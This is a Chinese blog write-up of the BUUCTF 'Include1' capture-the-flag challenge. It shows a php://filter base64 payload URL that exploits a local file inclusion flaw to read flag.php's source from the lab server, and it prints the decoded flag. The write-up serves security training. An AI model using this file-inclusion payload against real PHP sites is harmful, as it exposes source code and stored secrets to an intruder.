

BUUCTF [ACTF2020 新生赛]Include1-WP

原创

[JZ_daguojiang](#)



于 2021-04-08 10:30:56 发布



88



收藏

版权声明：本文为博主原创文章，遵循 [CC 4.0 BY-SA](#) 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/qq_36348811/article/details/115507184

版权

目录

[问题分析](#)

问题分析

- 打开题目就只有一个tips

[tips](#)

- 点进去发现有一段文字，Can you find out the flag? 查看网页源码也没有特殊的提示。

```
1 <meta charset="utf8">
2 Can you find out the flag?
```

- 但是当前的url中有出现?file=flag.php，首先尝试用“php://input”(php://文档)，发现题目过滤了“php://input”伪协议。

Load URL

`http://d31d5535-34a3-424a-8bc5-77fc572ff5a6.node3.buuoj.cn/?file=php://input`

hacker!

- 所以考虑使用“php://filter”伪协议来构造payload:

```
http://d31d5535-34a3-424a-8bc5-77fc572ff5a6.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=flag.php
```

- 然后得到了base64编码的flag.php源代码，转换一下就可以得到flag

```
PD9waHAKZWNobyAiQ2FulHlvdSBmaW5klG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7Y2M1NWMyYjEtNjZi00YThhLWE4N2MtZm
lxY2Y3ZTkxMWI4fQo=
```

[编码 \(Encode\)](#) [解码 \(Decode\)](#) [↕ 交换](#) (编码快捷键: **Ctrl** + **Enter**)

Base64 编码或解码的结果: 编/解码后自动全选

```
<?php
echo "Can you find out the flag?";
//flag{cc55c2b1-66ef-4a8a-a87c-fb1cf7e911b8}
```

https://blog.csdn.net/qq_36348811

- php:filter流会被当做php代码执行，所以我们一般对其进行编码，阻止其不执行。